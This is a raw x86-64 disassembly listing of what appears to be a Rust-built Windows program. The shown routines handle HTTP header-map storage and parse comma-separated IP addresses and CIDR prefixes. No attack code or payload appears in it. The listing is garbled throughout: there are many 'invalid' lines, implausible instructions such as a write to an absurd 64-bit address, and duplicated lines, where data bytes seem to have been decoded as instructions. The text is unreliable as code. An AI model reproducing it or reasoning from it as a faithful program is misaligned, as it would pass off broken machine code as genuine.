add ah, al
jns 0x14004c5fb
loop 0x14004c552
invalid
and dword [rdx], esp
rol byte [rax], 1
shr r8, 0x20
vpinsrd xmm10, xmm10, r8d, 1
and dl, al
add ebp, eax
jns 0x14004c61f
push rcx
and ch, al
cli
jg 0x14004c5d0
and al, 0xa0
add byte [rax], al
add ah, al
jns 0x14004c5fb
loop 0x14004c552
invalid
and dl, al
add ebp, eax
jns 0x14004c61f
push rcx
and ch, al
cli
jg 0x14004c5d0
vmovdqa xmm5, xmmword [rsp + 0x80]
vpaddd xmm3, xmm3, xmm5
vmovdqu xmmword [rdx + 0x10], xmm3
vmovdqa xmm10, xmmword [rsp + 0x50]
jns 0x14004c62a
push rsp
and al, 0x50
vpaddd xmm3, xmm8, xmm10
vmovdqu xmmword [rdx + 0x20], xmm3
vpaddd xmm3, xmm11, xmm6
vmovdqu xmmword [rdx + 0x30], xmm3
vmovdqu xmmword [rdx + 0x40], xmm9
vpaddd xmm2, xmm2, xmm5
vmovdqu xmmword [rdx + 0x50], xmm2
vpaddd xmm1, xmm10, xmm1
vmovdqu xmmword [rdx + 0x60], xmm1
vpaddd xmm0, xmm0, xmmword [rsp + 0x90]
vmovdqu xmmword [rdx + 0x70], xmm0
vmovdqu xmmword [rdx + 0x80], xmm7
vpaddd xmm0, xmm5, xmmword [rsp + 0x20]
xor ch, al
jp 0x14004c653
invalid
add byte [rax], al
add ch, al
sar esi, 1
and al, 0x20
vmovdqu xmmword [rdx + 0x90], xmm0
vpaddd xmm0, xmm10, xmmword [rsp]
vmovdqu xmmword [rdx + 0xa0], xmm0
vpaddd xmm0, xmm13, xmmword [rsp + 0x70]
vmovdqu xmmword [rdx + 0xb0], xmm0
vmovdqu xmmword [rdx + 0xc0], xmm4
vpaddd xmm0, xmm5, xmmword [rsp + 0x30]
movabs byte [0x44fed1c5000000c0], al
and al, 0x30
vmovdqu xmmword [rdx + 0xd0], xmm0
vpaddd xmm0, xmm12, xmm10
vmovdqu xmmword [rdx + 0xe0], xmm0
vmovdqa xmm0, xmmword [rsp + 0x10]
vpaddd xmm0, xmm0, xmmword [rsp + 0x60]
and al, 0x60
vmovdqu xmmword [rdx + 0xf0], xmm0
vzeroupper
vmovaps xmm6, xmmword [rsp + 0xc0]
vmovaps xmm7, xmmword [rsp + 0xd0]
vmovaps xmm8, xmmword [rsp + 0xe0]
vmovaps xmm9, xmmword [rsp + 0xf0]
vmovaps xmm10, xmmword [rsp + 0x100]
vmovaps xmm11, xmmword [rsp + 0x110]
vmovaps xmm12, xmmword [rsp + 0x120]
vmovaps xmm13, xmmword [rsp + 0x130]
vmovaps xmm14, xmmword [rsp + 0x140]
vmovaps xmm15, xmmword [rsp + 0x150]
add rsp, 0x168
ret
call 0x16451773e
invalid
je 0x14004ee4e
mov rdi, qword [rdx + 0x10]
test rdi, rdi
je 0x14004ee9e
lea rax, [rdx + 0x10]
mov r15, qword [rdx + 8]
mov rbx, qword [rdx + 0x18]
lea r8, [0x14013a998]
mov qword [rdx], r8
mov dword [rdx], eax
mov dword [rdx], eax
lea r8, [0x14016f768]
mov qword [rdx + 8], r8
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov r14d, 1
mov esi, 1
mov esi, 1
jmp 0x14004eea1
mov rcx, qword [rdx + 0x18]
test rcx, rcx
je 0x14004ee76
invalid
invalid
mov rax, qword [r8]
mov rdi, rdx
mov rdx, rax
mov rbx, r8
call fcn.1400f4af0
mov r8, rbx
mov rdx, rdi
test al, al
je 0x14004ef18
mov rax, qword [rdx + 8]
mov r9, qword [rdx + 0x10]
lea rcx, [rsp + 0x28]
mov rdx, rax
call qword [r9 + 0x18]
mov r14, qword [rsp + 0x28]
cmp r14, 2
jne 0x14004eec0
mov qword [rsi], 2
jmp 0x14004eeb4
xor r14d, r14d
mov qword [rsi], r14
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], rdi
mov qword [rsi + 0x20], rbx
add rsp, 0x50
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov rdi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x48]
test r14, r14
je 0x14004eea1
mov r15, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
jne 0x14004eea1
movzx eax, byte [0x14017d2b0]
mov edx, 0x70
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x14004ef6e
movabs rcx, 0x8000000000000000
mov qword [rax], rcx
mov qword [rax + 0x58], r15
mov qword [rax + 0x60], rdi
mov word [rax + 0x68], 4
xor ecx, ecx
mov r15, rax
jmp 0x14004eea1
movzx eax, byte [0x14017d2b0]
mov edx, 0x70
jrcxz 0x14004ef30
add byte [rdx + 0x70], bh
xor ecx, ecx
call fcn.1400e0010
in eax, 0x10
or dword [rax], eax
invalid
in eax, 0x10
or dword [rax], eax
invalid
add byte [rax - 0x7b], cl
sal byte [rsi + rdi + 0x48], 0xb9
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x48088948], al
mov dword [rax + 0x58], 1
test rax, rax
je 0x14004ef6e
movabs rcx, 0x8000000000000000
mov qword [rax], rcx
mov qword [rax + 0x58], 1
lea rcx, [0x140139cf8]
mov qword [rax + 0x60], rcx
mov word [rax + 0x68], 4
mov qword [rsi], 1
mov qword [rsi + 8], 0
mov qword [rsi + 0x10], rax
jmp 0x14004eeb4
mov ecx, 8
mov edx, 0x70
call fcn.140104380
int3
add rsp, 0x158
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp rax
cmp byte [rax + 8], r11b
je 0x14004fa44
nop word [rax + rax]
inc rdi
inc r14
mov rax, r14
nop dword [rax]
mov r14, rax
mov eax, 0
cmp r14, r15
jae 0x14004f980
movzx esi, word [r12 + r14*4]
cmp rsi, 0xffff
je 0x14004fb3a
movzx eax, word [r12 + r14*4 + 2]
mov ecx, r13d
and ecx, eax
mov r8d, r14d
sub r8d, ecx
and r8d, r13d
call 0x14ffd3300
invalid
movsb byte [rdi], byte [rsi]
add al, byte [rax]
invalid
call 0x14ffd3300
invalid
cmp ax, bp
jne 0x14004f970
cmp rdx, rsi
jbe 0x14004fe62
test r10, r10
sete al
imul rbx, rsi, 0x68
imul ebx, esi, 0x68
imul ebx, esi, 0x68
mov rcx, qword [r9 + rbx + 0x40]
test rcx, rcx
setne r8b
cmp r8b, al
je 0x14004f970
lea rax, [r9 + rbx]
add rax, 0x40
test rcx, rcx
je 0x14004f95d
mov rcx, qword [rsp + 0xb8]
cmp qword [rax + 0x10], rcx
jne 0x14004f970
mov rcx, qword [rax + 8]
mov rdx, qword [rsp + 0x118]
mov r8, qword [rsp + 0xb8]
call sub.VCRUNTIME140.dll_memcmp
movzx r11d, byte [rsp + 0x2f]
mov r10, qword [rsp + 0x120]
mov r9, qword [rsp + 0x128]
mov rdx, qword [rsp + 0x58]
test eax, eax
jne 0x14004f970
mov rcx, qword [rsp + 0x48]
mov rax, qword [rcx + 0x20]
mov qword [rsp + 0x80], rax
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rsp + 0x70], xmm1
movaps xmmword [rsp + 0x60], xmm0
cmp qword [r9 + rbx], 0
mov rdi, qword [rsp + 0x40]
je 0x14004fa85
add r9, rbx
mov rdx, qword [r9 + 8]
mov rcx, rdi
call fcn.140039cd0
mov rdx, qword [rdi + 0x28]
cmp rdx, rsi
mov r8, qword [rsp + 0x30]
mov r9, qword [rsp + 0x50]
jbe 0x14004fe83
mov rax, qword [rdi + 0x20]
movups xmm0, xmmword [rax + rbx + 0x18]
movups xmm1, xmmword [rax + rbx + 0x28]
adc byte [rax + rbx + 0x28], cl
adc byte [rax + rbx + 0x28], cl
movaps xmmword [rsp + 0x140], xmm1
movaps xmmword [rsp + 0x130], xmm0
movzx ecx, byte [rax + rbx + 0x38]
mov edx, dword [rax + rbx + 0x3c]
mov dword [rsp + 0x3b], edx
mov edx, dword [rax + rbx + 0x39]
mov dword [rsp + 0x38], edx
mov rdx, qword [rsp + 0x80]
mov qword [rax + rbx + 0x38], rdx
movaps xmm0, xmmword [rsp + 0x60]
movaps xmm1, xmmword [rsp + 0x70]
movups xmmword [rax + rbx + 0x28], xmm1
movups xmmword [rax + rbx + 0x18], xmm0
movaps xmm0, xmmword [rsp + 0x130]
movaps xmm1, xmmword [rsp + 0x140]
movups xmmword [r8 + 0x10], xmm1
movups xmmword [r8], xmm0
mov byte [r8 + 0x20], cl
mov eax, dword [rsp + 0x38]
mov ecx, dword [rsp + 0x3b]
mov dword [r8 + 0x24], ecx
mov dword [r8 + 0x21], eax
mov rax, qword [r9]
test rax, rax
je 0x14004fe4e
mov rax, qword [rax + 0x10]
lea rcx, [r9 + 0x18]
mov rdx, qword [r9 + 8]
mov r8, qword [r9 + 0x10]
jmp 0x14004f8cd
mov rcx, qword [rsp + 0x50]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
mov r8, qword [rsp + 0x48]
mov rax, qword [r8 + 0x20]
mov qword [rsp + 0xe0], rax
movups xmm0, xmmword [r8]
movups xmm1, xmmword [r8 + 0x10]
movaps xmmword [rsp + 0xd0], xmm1
movaps xmmword [rsp + 0xc0], xmm0
cmp rdx, 0x7fff
ja 0x14004fcc6
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0xf0], xmm0
mov rax, qword [r8 + 0x20]
mov qword [rsp + 0x80], rax
movups xmm0, xmmword [r8]
movups xmm1, xmmword [r8 + 0x10]
movaps xmmword [rsp + 0x70], xmm1
movaps xmmword [rsp + 0x60], xmm0
mov rax, rdx
mov rsi, qword [rsp + 0x40]
cmp rdx, qword [rsi + 0x18]
jne 0x14004fbeb
lea rcx, [rsi + 0x18]
call fcn.14004fea0
mov rdx, qword [rsp + 0x58]
mov r9, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov r15, qword [rsi + 0x50]
imul rcx, rax, 0x68
mov qword [r9 + rcx], 0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmm1, xmmword [rsp + 0x70]
movups xmmword [r9 + rcx + 0x18], xmm0
movups xmmword [r9 + rcx + 0x28], xmm1
mov r8, qword [rsp + 0x80]
mov qword [r9 + rcx + 0x38], r8
movaps xmm0, xmmword [rsp + 0xf0]
movaps xmm1, xmmword [rsp + 0x100]
movups xmmword [r9 + rcx + 0x40], xmm0
movups xmmword [r9 + rcx + 0x50], xmm1
mov word [r9 + rcx + 0x60], bp
inc rax
mov qword [rsi + 0x28], rax
cmp r14, r15
jae 0x14004fe71
mov rax, qword [rsi + 0x48]
mov word [rax + r14*4], dx
mov word [rax + r14*4 + 2], bp
jmp 0x14004fe45
cmp rdi, 0x200
setae sil
mov rdi, qword [rsp + 0x40]
cmp qword [rdi], 2
setne bl
mov rcx, qword [rsp + 0x50]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
mov r8, qword [rsp + 0x48]
mov rax, qword [r8 + 0x20]
mov qword [rsp + 0xe0], rax
movups xmm0, xmmword [r8]
movups xmm1, xmmword [r8 + 0x10]
movaps xmmword [rsp + 0xd0], xmm1
movaps xmmword [rsp + 0xc0], xmm0
cmp rdx, 0x7fff
jbe 0x14004fd1f
lea rcx, [rsp + 0xd8]
mov rax, qword [rsp + 0xc0]
mov rdx, qword [rsp + 0xc8]
mov r8, qword [rsp + 0xd0]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x90]
test rax, rax
je 0x14004fd11
lea rcx, [rsp + 0xa8]
mov rdx, qword [rsp + 0x98]
mov r8, qword [rsp + 0xa0]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x30]
mov byte [rax + 0x20], 3
jmp 0x14004fe4e
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0xf0], xmm0
mov rax, qword [r8 + 0x20]
mov qword [rsp + 0x80], rax
movups xmm0, xmmword [r8]
movups xmm1, xmmword [r8 + 0x10]
movaps xmmword [rsp + 0x70], xmm1
movaps xmmword [rsp + 0x60], xmm0
mov rax, rdx
cmp rdx, qword [rdi + 0x18]
jne 0x14004fd7c
lea rcx, [rdi + 0x18]
call fcn.14004fea0
mov rdx, qword [rsp + 0x58]
mov r9, qword [rdi + 0x20]
mov rax, qword [rdi + 0x28]
mov r12, qword [rdi + 0x48]
mov r15, qword [rdi + 0x50]
and sil, bl
imul rcx, rax, 0x68
mov qword [r9 + rcx], 0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmm1, xmmword [rsp + 0x70]
movups xmmword [r9 + rcx + 0x18], xmm0
movups xmmword [r9 + rcx + 0x28], xmm1
mov r8, qword [rsp + 0x80]
mov qword [r9 + rcx + 0x38], r8
movaps xmm0, xmmword [rsp + 0xf0]
movaps xmm1, xmmword [rsp + 0x100]
movups xmmword [r9 + rcx + 0x40], xmm0
movups xmmword [r9 + rcx + 0x50], xmm1
mov word [r9 + rcx + 0x60], bp
inc rax
mov qword [rdi + 0x28], rax
xor eax, eax
nop dword [rax]
mov rcx, r14
mov r14d, 0
cmp rcx, r15
jae 0x14004fde0
movzx r9d, word [r12 + rcx*4]
cmp r9w, 0xffff
je 0x14004fe1c
inc rax
movzx r8d, word [r12 + rcx*4 + 2]
mov word [r12 + rcx*4], dx
mov word [r12 + rcx*4 + 2], bp
inc rcx
mov ebp, r8d
mov edx, r9d
mov r14, rcx
jmp 0x14004fde0
mov word [r12 + rcx*4], dx
mov word [r12 + rcx*4 + 2], bp
cmp rax, 0x80
setb al
not sil
test sil, al
jne 0x14004fe45
cmp qword [rdi], 0
jne 0x14004fe45
mov qword [rdi], 1
mov rax, qword [rsp + 0x30]
mov byte [rax + 0x20], 2
add rsp, 0x158
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, rsi
call fcn.140104670
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, r14
mov rdx, r15
call fcn.140104670
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, rsi
call fcn.140104670
int3
mov rcx, qword [rsp + 0xd8]
lea rdx, [rax + rax*2]
mov qword [rcx + rdx*8], r15
mov qword [rcx + rdx*8 + 8], r13
mov qword [rcx + rdx*8 + 0x10], r15
inc rax
mov qword [rsp + 0xe0], rax
mov eax, dword [rsp + 0x38]
test al, al
je 0x140050a70
mov rcx, r14
cmp rdi, r12
jbe 0x140050240
mov dword [rsp + 0x38], 0
jmp 0x14005039b
mov rdx, rdi
jmp 0x140050258
mov rdx, rdi
cmp rdi, r12
ja 0x140050229
mov r8, r12
sub r8, rdx
lea rax, [rsi + rdx]
cmp r8, 0x10
jae 0x1400502a0
cmp r12, rdx
je 0x140050390
xor r10d, r10d
nop word cs:[rax + rax]
cmp byte [rax + r10], 0x2c
je 0x140050364
inc r10
cmp r8, r10
jne 0x140050280
jmp 0x140050390
lea r9, [rax + 7]
and r9, 0xfffffffffffffff8
sub r9, rax
jne 0x1400502c0
lea r10, [r8 - 0x10]
xor r9d, r9d
jmp 0x1400502f5
cmp r9, r8
cmovae r9, r8
xor r10d, r10d
nop word [rax + rax]
cmp byte [rax + r10], 0x2c
je 0x140050364
inc r10
cmp r9, r10
jne 0x1400502d0
lea r10, [r8 - 0x10]
nop word [rax + rax]
cmp r9, r10
ja 0x140050330
movdqu xmm0, xmmword [rax + r9]
movdqa xmm1, xmm0
pxor xmm1, xmm7
paddq xmm1, xmm8
pandn xmm0, xmm1
pshufd xmm1, xmm0, 0xee
por xmm1, xmm0
movq r11, xmm1
test r11, rbx
jne 0x140050330
add r9, 0x10
jmp 0x1400502f0
cmp r8, r9
je 0x140050390
add rax, r9
mov r8, r12
sub r8, r9
sub r8, rdx
xor r10d, r10d
nop word cs:[rax + rax]
cmp byte [rax + r10], 0x2c
je 0x140050361
inc r10
cmp r8, r10
jne 0x140050350
jmp 0x140050390
add r10, r9
lea rdi, [rdx + r10]
inc rdi
add rdx, r10
cmp rdx, r12
jae 0x140050250
cmp byte [rsi + rdx], 0x2c
jne 0x140050250
mov al, 1
mov dword [rsp + 0x38], eax
mov r14, rdi
jmp 0x1400503a1
mov dword [rsp + 0x38], 0
mov rdi, r12
mov r14, rcx
mov rdx, r12
sub rdx, rcx
add rcx, rsi
call fcn.140038210
test rax, rax
je 0x140050a70
mov rbp, rax
mov r15, rdx
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rdx
mov qword [rsp + 0x78], 0
lea rcx, [rsp + 0x68]
call fcn.1400457b0
mov r13, rax
test r13b, 1
je 0x140050480
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x78]
and al, 0x78
and al, 0x78
cmp rcx, rdx
je 0x140050480
jae 0x1400523c8
mov r9, qword [rsp + 0x68]
cmp byte [r9 + rcx], 0x2f
jne 0x140050480
lea r8, [rcx + 1]
xor eax, eax
cmp r8, rdx
jne 0x14005043a
mov r9d, edx
mov rcx, rdx
sub r9d, r8d
je 0x140050480
shl r13, 0x18
shrd r13, rax, 0x20
xor r9d, r9d
cmp rcx, rdx
je 0x14005073b
jmp 0x140050820
movzx eax, byte [r9 + r8]
add al, 0xd0
cmp al, 9
ja 0x140050480
lea r10, [rcx + 2]
movzx eax, al
cmp r10, rdx
je 0x140050415
movzx r11d, byte [r9 + r10]
add r11b, 0xd0
cmp r11b, 9
ja 0x1400509e4
lea eax, [rax + rax*4]
movzx r10d, r11b
lea eax, [r10 + rax*2]
cmp eax, 0x20
jbe 0x1400509ec
nop dword [rax + rax]
mov qword [rsp + 0x78], 0
movdqa xmmword [rsp + 0x110], xmm6
mov r8d, 8
lea rcx, [rsp + 0x68]
lea rdx, [rsp + 0x110]
call fcn.140045410
cmp rax, 8
jne 0x140050580
movzx eax, word [rsp + 0x110]
movzx ecx, word [rsp + 0x112]
movzx edx, word [rsp + 0x114]
movzx r8d, word [rsp + 0x116]
movzx r9d, word [rsp + 0x118]
movzx r10d, word [rsp + 0x11a]
movzx r11d, word [rsp + 0x11c]
movzx esi, word [rsp + 0x11e]
rol ax, 8
rol cx, 8
rol dx, 8
rol r8w, 8
rol r9w, 8
rol r10w, 8
rol r11w, 8
rol si, 8
movd xmm0, esi
movd xmm1, r11d
punpcklwd xmm1, xmm0
movd xmm0, r10d
movd xmm2, r9d
punpcklwd xmm2, xmm0
punpckldq xmm2, xmm1
movd xmm0, r8d
movd xmm1, edx
punpcklwd xmm1, xmm0
movd xmm3, ecx
movd xmm0, eax
punpcklwd xmm0, xmm3
punpckldq xmm0, xmm1
punpcklqdq xmm0, xmm2
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x78]
cmp rcx, rdx
jne 0x1400506e0
mov rsi, qword [rsp + 0x60]
jmp 0x140050820
test dl, 1
jne 0x140050820
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x78]
cmp rcx, rdx
je 0x140050820
jae 0x1400523c8
mov r8, qword [rsp + 0x68]
cmp byte [r8 + rcx], 0x3a
jne 0x140050820
lea r9, [rcx + 1]
cmp r9, rdx
je 0x140050820
jae 0x1400523d4
cmp byte [r8 + r9], 0x3a
jne 0x140050820
add rcx, 2
mov qword [rsp + 0x78], rcx
movdqa xmmword [rsp + 0x1e0], xmm6
mov r8d, 8
sub r8, rax
lea rcx, [rsp + 0x68]
lea rdx, [rsp + 0x1e0]
mov rsi, rax
call fcn.140045410
mov r13, rax
mov rcx, rsi
mov eax, 8
cmp rax, rsi
jb 0x1400524d9
cmp r13, 9
jae 0x1400524c5
lea rax, [rcx + r13]
cmp rax, 9
jae 0x1400524ad
lea rsi, [rcx + rcx]
mov r8d, 0x10
sub r8, rsi
lea rcx, [rsp + rcx*2]
add rcx, 0x160
xor edx, edx
call sub.VCRUNTIME140.dll_memset
lea rcx, [rsp + 0x160]
lea rdx, [rsp + 0x110]
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov eax, 8
sub rax, r13
lea rcx, [rsp + rax*2]
add rcx, 0x160
add r13, r13
lea rdx, [rsp + 0x1e0]
mov r8, r13
call sub.VCRUNTIME140.dll_memcpy
movzx eax, word [rsp + 0x160]
movzx ecx, word [rsp + 0x162]
movzx edx, word [rsp + 0x164]
movzx r8d, word [rsp + 0x166]
movzx r9d, word [rsp + 0x168]
movzx r10d, word [rsp + 0x16a]
movzx r11d, word [rsp + 0x16c]
movzx esi, word [rsp + 0x16e]
jmp 0x1400504f8
jae 0x1400523c8
mov r9, qword [rsp + 0x68]
cmp byte [r9 + rcx], 0x2f
mov rsi, qword [rsp + 0x60]
jne 0x140050820
lea r8, [rcx + 1]
xor eax, eax
cmp r8, rdx
jne 0x1400507d2
mov r9d, edx
mov rcx, rdx
sub r9d, r8d
je 0x140050820
movq r13, xmm0
psrldq xmm0, 5
mov r9b, 1
movdqa xmm9, xmm0
mov byte [rsp + 0x108], al
cmp rcx, rdx
jne 0x140050820
mov rcx, qword [rsp + 0x48]
cmp rcx, qword [rsp + 0x190]
jne 0x140050772
lea rcx, [rsp + 0x190]
mov ebp, r9d
call fcn.140053b60
mov r9d, ebp
mov rax, qword [rsp + 0x198]
mov qword [rsp + 0x58], rax
mov rcx, qword [rsp + 0x1a0]
lea rax, [rcx + rcx*8]
mov r8, qword [rsp + 0x58]
mov byte [r8 + rax*2], r9b
mov dword [r8 + rax*2 + 1], r13d
shr r13, 0x20
mov byte [r8 + rax*2 + 5], r13b
movq qword [r8 + rax*2 + 6], xmm9
movdqa xmmword [rsp + 0x2f0], xmm9
mov rdx, rcx
movzx ecx, byte [rsp + 0x2fa]
mov byte [r8 + rax*2 + 0x10], cl
pextrw ecx, xmm9, 4
mov word [r8 + rax*2 + 0xe], cx
movzx ecx, byte [rsp + 0x108]
mov byte [r8 + rax*2 + 0x11], cl
inc rdx
mov rax, rdx
jmp 0x1400509c6
movzx eax, byte [r9 + r8]
add al, 0xd0
cmp al, 9
ja 0x140050820
lea r10, [rcx + 2]
movzx eax, al
cmp r10, rdx
je 0x14005070a
movzx r11d, byte [r9 + r10]
add r11b, 0xd0
cmp r11b, 9
ja 0x140050a68
lea eax, [rax + rax*4]
movzx r10d, r11b
lea eax, [r10 + rax*2]
cmp eax, 0x80
jbe 0x140050a11
nop word cs:[rax + rax]
mov qword [rsp + 0x160], rbp
mov qword [rsp + 0x168], r15
lea r13, [rsp + 0x160]
mov rcx, r13
call fcn.1400157d0
test al, 1
jne 0x1400508b0
lea rcx, [rsp + 0x68]
mov rdx, r13
call fcn.140015b70
cmp byte [rsp + 0x68], 0
je 0x1400508bb
mov eax, dword [rsp + 0x69]
lea rdx, [rsp + 0x6d]
mov rcx, qword [rdx]
mov qword [rsp + 0x110], rcx
mov ecx, dword [rdx + 8]
mov dword [rsp + 0x118], ecx
cmp qword [rsp + 0x168], 0
jne 0x1400508bb
mov ecx, dword [rsp + 0x118]
mov dword [rsp + 0x1e8], ecx
mov rcx, qword [rsp + 0x110]
mov qword [rsp + 0x1e0], rcx
mov bpl, 1
jmp 0x14005093a
cmp qword [rsp + 0x168], 0
je 0x140050934
test r15, r15
je 0x1400508f0
js 0x1400523ff
movzx eax, byte [0x14017d2b0]
xor ecx, ecx
mov rdx, r15
call fcn.1400e0010
test rax, rax
je 0x1400523f2
mov r13, rax
jmp 0x1400508f6
mov r13d, 1
mov rcx, r13
mov rdx, rbp
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsp + 0xe0]
cmp rax, qword [rsp + 0xd0]
jne 0x1400501f0
lea rcx, [rsp + 0xd0]
call fcn.1400f0cf0
mov rax, qword [rsp + 0xe0]
jmp 0x1400501f0
shr rax, 8
xor ebp, ebp
mov ecx, dword [rsp + 0x1e8]
mov dword [rsp + 0x248], ecx
mov rcx, qword [rsp + 0x1e0]
mov qword [rsp + 0x240], rcx
mov rcx, qword [rsp + 0x48]
cmp rcx, qword [rsp + 0x190]
jne 0x140050987
lea rcx, [rsp + 0x190]
mov rsi, rax
call fcn.140053b60
mov rax, rsi
mov rsi, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x1a0]
mov r8, qword [rsp + 0x198]
mov rdx, rcx
lea rcx, [rcx + rcx*8]
mov byte [r8 + rcx*2], 2
mov byte [r8 + rcx*2 + 1], bpl
mov dword [r8 + rcx*2 + 2], eax
mov rax, qword [rsp + 0x240]
mov qword [r8 + rcx*2 + 6], rax
mov eax, dword [rsp + 0x248]
mov qword [rsp + 0x58], r8
mov dword [r8 + rcx*2 + 0xe], eax
inc rdx
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x1a0], rdx
mov eax, dword [rsp + 0x38]
test al, al
jne 0x140050221
jmp 0x140050a70
mov rcx, r10
jmp 0x140050420
add rcx, 3
cmp rcx, rdx
je 0x140050415
movzx r8d, byte [r9 + rcx]
add r8b, 0xd0
cmp r8b, 0xa
jae 0x140050420
jmp 0x140050480
lea r10, [rcx + 3]
cmp r10, rdx
je 0x14005070a
movzx r11d, byte [r9 + r10]
add r11b, 0xd0
cmp r11b, 9
ja 0x140050a68
lea eax, [rax + rax*4]
movzx r10d, r11b
lea eax, [r10 + rax*2]
cmp eax, 0x80
ja 0x140050820
add rcx, 4
cmp rcx, rdx
je 0x14005070a
movzx r8d, byte [r9 + rcx]
add r8b, 0xd0
cmp r8b, 0xa
jae 0x140050719
jmp 0x140050820
mov rcx, r10
jmp 0x140050719
mov rdi, qword [rsp + 0x190]
mov r14, qword [rsp + 0x198]
mov r15, qword [rsp + 0xd0]
mov r12, qword [rsp + 0xd8]
mov r13, qword [rsp + 0xe0]
mov rbp, rdi
cmp qword [rsp + 0x50], 0
jne 0x140050be6
jmp 0x140050bfb
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbp, rdi
mov rax, qword [rsp + 0x220]
cmp rax, qword [rsp + 0x210]
jne 0x140050c22
lea rcx, [rsp + 0x210]
call fcn.140052790
mov rax, qword [rsp + 0x220]
mov rcx, qword [rsp + 0x218]
mov rdx, rax
shl rdx, 7
lea rdx, [rdx + rax*8]
mov qword [rcx + rdx], 3
mov r8, qword [rsp + 0xb0]
mov qword [rcx + rdx + 8], r8
movdqu xmm0, xmmword [rsp + 0x68]
movups xmm1, xmmword [rsp + 0x78]
movdqu xmm2, xmmword [rsp + 0x88]
movups xmm3, xmmword [rsp + 0x98]
movdqu xmmword [rcx + rdx + 0x10], xmm0
movups xmmword [rcx + rdx + 0x20], xmm1
movdqu xmmword [rcx + rdx + 0x30], xmm2
movups xmmword [rcx + rdx + 0x40], xmm3
mov r8, qword [rsp + 0xa8]
mov qword [rcx + rdx + 0x50], r8
mov qword [rcx + rdx + 0x58], rbp
mov qword [rcx + rdx + 0x60], r14
mov r8, qword [rsp + 0x48]
mov qword [rcx + rdx + 0x68], r8
mov qword [rcx + rdx + 0x70], r15
mov qword [rcx + rdx + 0x78], r12
mov qword [rcx + rdx + 0x80], r13
inc rax
mov qword [rsp + 0x220], rax
mov r14, qword [rsp + 0xb8]
movzx eax, byte [0x14017d2b0]
mov edx, 0x28
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400523e3
mov rdi, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov rax, qword [rsp + 0x220]
mov qword [rdi + 0x20], rax
movdqa xmm0, xmmword [rsp + 0x210]
movdqu xmmword [rdi + 0x10], xmm0
cmp byte [r14 + 0x17f], 0
jne 0x140052404
movzx eax, byte [0x14017d2b0]
mov edx, 0x10
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x140052444
mov r13, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov rbp, qword [r14 + 0x160]
test rbp, rbp
je 0x140050d79
mov rax, qword [r14 + 0x168]
mov qword [rsp + 0x38], rax
lock dec qword [r13]
jne 0x140050d74
lea rdx, [0x14013f480]
mov rcx, r13
call fcn.1400049d0
mov r13, rbp
jmp 0x140050d85
lea rax, [0x14013f480]
mov qword [rsp + 0x38], rax
lea r15, [r14 + 0x120]
mov r12, qword [r14 + 0x138]
test r12, r12
sete byte [rsp + 0x60]
je 0x140050e38
movzx eax, byte [0x14017d2b0]
mov edx, 0x40
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x140052462
mov rbx, rax
mov qword [rax], 1
mov qword [rax + 8], 1
movdqu xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movdqu xmm2, xmmword [r15 + 0x20]
movdqu xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm1
movdqu xmmword [rax + 0x30], xmm2
movzx eax, byte [0x14017d2b0]
mov edx, 0x28
xor ecx, ecx
call fcn.1400e0010
test rax, rax
je 0x1400523e3
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], r13
mov rcx, qword [rsp + 0x38]
mov qword [rax + 0x18], rcx
mov qword [rax + 0x20], rbx
lea rcx, [0x14013f4a0]
mov qword [rsp + 0x38], rcx
mov r13, rax
lock inc qword [r13]
jle 0x140052300
mov qword [rsp + 0x268], r12
mov qword [rsp + 0x260], r15
mov qword [rsp + 0x48], rdi
movzx eax, byte [0x14017d2b0]
